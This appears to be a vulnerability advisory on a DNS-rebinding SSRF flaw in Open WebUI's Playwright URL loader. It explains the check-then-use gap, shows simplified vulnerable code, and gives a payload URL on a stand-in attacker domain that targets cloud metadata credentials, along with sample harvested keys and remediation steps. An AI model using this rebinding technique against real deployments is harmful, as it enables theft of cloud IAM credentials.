Executive Summary: TOCTOU Vulnerability in AI Web Retrieval
Security researchers have uncovered a high-severity Server-Side Request Forgery (SSRF) vulnerability in Open WebUI, the premier self-hosted web interface used by thousands of enterprises to interact with local and cloud-hosted LLM endpoints (including Ollama, vLLM, and OpenAI-compatible gateways). Designated as CVE-2026-87996 with a CVSS v3.1 base score of 7.7 (High), the flaw enables authenticated users to bypass internal IP blacklists and force the backend server to communicate directly with internal network interfaces, private VPC microservices, and cloud metadata infrastructure.
The vulnerability represents a classic Time-of-Check Time-of-Use (TOCTOU) race condition (CWE-367) leading to SSRF (CWE-918). While the application implemented explicit IP validation logic to forbid requests to private RFC-1918 subnets, loopback addresses, and link-local ranges, the validation step was decoupled from the actual HTTP connection dispatch executed by the headless Playwright browser runtime.
Root Cause Analysis: SafePlaywrightURLLoader DNS Decoupling
In modern enterprise AI systems, users frequently supply web URLs within chat prompts to ground conversations using real-time retrieval-augmented generation (RAG). To ingest JavaScript-rendered websites, Open WebUI deploys the SafePlaywrightURLLoader component located in backend/open_webui/retrieval/web/utils.py.
Before directing Playwright to navigate to a target website, the loader performs a preliminary Python-level sanity check:
# Simplified vulnerable logic in utils.py (prior to v0.11.1)
def validate_url(url: str):
parsed = urllib.parse.urlparse(url)
# Check 1: Resolve hostname using Python socket library
ip = socket.gethostbyname(parsed.hostname)
# Check 2: Block RFC 1918, Loopback, and Cloud Metadata (169.254.169.254)
if ipaddress.ip_address(ip).is_private:
raise ValueError("Access to internal networks is restricted")
return True
# Once validated, Playwright is separately invoked:
async def load_url(url: str):
validate_url(url) # Checked here (Time-of-Check)
# Executed here in separate browser process (Time-of-Use):
async with async_playwright() as p:
browser = await p.chromium.launch()
page = await browser.new_page()
await page.goto(url) # Browser performs independent DNS resolution!
The critical breakdown occurs because the operating system's C resolver library used by Python and Chromium's internal asynchronous DNS client operate independently. An attacker configuring an authoritative nameserver for a custom domain (e.g., rebinder.attacker.com) configures a DNS record with a Time-To-Live (TTL) of 0 seconds:
- Query 1 (Time-of-Check): The Python
socket.gethostbyname()query receives a legitimate public IP address (e.g.,93.184.216.34). The validation logic approves the request. - Query 2 (Time-of-Use): Milliseconds later, Chromium initiates the navigation via
page.goto(url). Because TTL was 0, Chromium executes a fresh DNS query. The attacker's nameserver responds with169.254.169.254(AWS/GCP/Azure Metadata Service) or127.0.0.1. - Data Exfiltration: Chromium connects to the cloud metadata service, renders the IAM credentials or access tokens into the DOM, and Open WebUI extracts the text to feed back into the chat session context.
Impact on Cloud Infrastructure: IMDS Token Harvesting
In containerized cloud deployments (Amazon EKS, Google GKE, Azure AKS, or EC2 instances), accessing the link-local metadata address yields temporary IAM credentials:
# Attack payload target:
http://rebinder.attacker.com/latest/meta-data/iam/security-credentials/k8s-node-role
# Returned JSON payload ingested by Open WebUI RAG pipeline:
{
"Code": "Success",
"LastUpdated": "2026-09-25T16:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAVEXAMPLEKEY12345",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "IQoJb3JpZ2luX2VjEAMaCXVzLWVhc3QtMSJGMEQC...",
"Expiration": "2026-09-25T22:00:00Z"
}
Affected Versions & Fix Verification
| Application | Vulnerable Versions | Fixed Version | Remediation Architecture |
|---|---|---|---|
| Open WebUI Core | 0.9.6 ≤ Version < 0.11.1 | 0.11.1 or later | Pre-connection IP pinning & Playwright request interception |
| Custom RAG Fetchers | Direct Playwright page.goto() calls | Route interception with abort() | Inspect resolved IP within page.route() handler |
Defensive Remediation Playbook
- Upgrade Open WebUI Container: Pull and deploy the updated container image:
# Docker Pull & Restart docker pull ghcr.io/open-webui/open-webui:0.11.1 docker stop open-webui && docker rm open-webui docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui ghcr.io/open-webui/open-webui:0.11.1 - Enforce IMDSv2 with Hop Limit 1: In AWS environments, restrict the Instance Metadata Service to require session tokens and set the HTTP response hop limit to 1 so containerized applications cannot reach IMDS over bridge interfaces:
aws ec2 modify-instance-metadata-options --instance-id i-0123456789abcdef0 --http-tokens required --http-put-response-hop-limit 1 --http-endpoint enabled - Implement Network Egress Filtering: Apply Kubernetes NetworkPolicies or Docker firewall rules blocking outbound TCP traffic to
169.254.169.254/32and RFC 1918 subnets from all AI worker pods.



